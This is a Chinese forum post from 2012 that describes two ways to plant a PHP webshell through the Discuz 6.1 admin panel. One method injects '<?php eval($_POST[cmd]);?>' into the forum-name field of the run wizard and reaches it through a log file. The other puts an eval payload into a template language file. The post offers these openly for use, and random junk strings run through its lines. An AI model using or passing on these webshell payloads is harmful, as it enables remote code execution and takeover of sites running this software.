discuz6.1两种方法后台拿shell
8 w& L$ N- v7 |, e/ s好多朋友说discuz6.1后台不会拿shell,在前段时间这些都是说不公布的东西,我发出来给大家测试一下2 D1 Z+ E2 e: |/ J- ^& Z
1:* }& p0 l" R/ A
http://127.0.0.1/discuz/admincp. ... zard&frames=yes: [1 Q9 g0 D- R
admincp.php?action=runwizard&frames=yes点击下一步然后再论坛名称的地方插入webshell' @0 \) C% Q2 b" @+ V
<?php eval($_POST[cmd]);?>
2 w* D/ y$ P8 M# d# }9 y后台webshell地址：http://127.0.0.1/discuz/forumdata/logs/runwizardlog.php3 T6 Z7 K- \) p/ F7 ?0 @, `
) e1 `/ R* Q: O' I5 y# d7 _
3 r( `6 U; [" z1 k; F& H1 U
2:后台模板管理--默认模板套系--详情
" A8 y% J& Q2 wtemplates/default/actions.lang.php+ M' F. x1 y9 B4 p9 r: s, ^
jhackj\\');eval($_POST[cmd])?>;//! S6 I R9 _( @6 A* Y' S; \. G
% O6 V/ x0 j: o9 W. n7 r5 T
利用很简单,聪明的人一看就懂了 |
发表于 2012-9-13 16:59:17
收藏
支持
反对